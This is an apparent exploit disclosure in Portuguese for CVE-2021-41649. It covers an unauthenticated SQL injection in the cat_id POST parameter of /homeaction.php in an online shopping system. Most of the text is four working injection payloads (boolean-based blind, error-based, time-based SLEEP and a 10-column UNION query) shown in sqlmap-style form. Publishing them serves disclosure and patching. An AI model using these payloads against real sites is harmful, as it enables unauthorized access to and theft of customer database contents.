
Prova de conceito do exploit para CVE-2021-41649 demonstrando injeção SQL não autenticada no online-shopping-system através do parâmetro cat_id, com payloads boolean-based, error-based, time-based e UNION query.
CVE-2021-41649 Injeção SQL no online-shopping-system
O online-shopping-system é vulnerável a ataques de injeção SQL não autenticados, baseados em erro/boolean blind e baseados em erro.
O parâmetro cat_id na página /homeaction.php não sanitiza a entrada do usuário, um atacante pode extrair dados sensíveis do banco de dados MySQL subjacente.
URL: /homeaction.php
PARÂMETRO: cat_id
Parâmetro: cat_id (Requisição POST)
Tipo: boolean-based blind
Título: AND boolean-based blind - cláusula WHERE ou HAVING
Payload: cat_id=4' AND 9760=9760 AND 'ZCfc'='ZCfc&get_seleted_Category=1
Tipo: error-based
Título: MySQL >= 5.0 AND error-based - cláusula WHERE, HAVING, ORDER BY ou GROUP BY (FLOOR)
Payload: cat_id=4' AND (SELECT 4034 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT (ELT(4034=4034,1))),0x71787a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'sGIO'='sGIO&get_seleted_Category=1
Tipo: time-based blind
Título: MySQL >= 5.0.12 AND time-based blind (consulta SLEEP)
Payload: cat_id=4' AND (SELECT 9762 FROM (SELECT(SLEEP(5)))PAcf) AND 'hpHO'='hpHO&get_seleted_Category=1
Tipo: UNION query
Título: Consulta UNION genérica (NULL) - 10 colunas
Payload: cat_id=4' UNION ALL SELECT CONCAT(0x71707a7171,0x746e4d4b5a706566596771585179566943487446575673515244507a52507345694d6b5a754d7049,0x71787a7671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&get_seleted_Category=1

Jason Colyvas
MOBIUSBINARY
21 de Setembro de 2021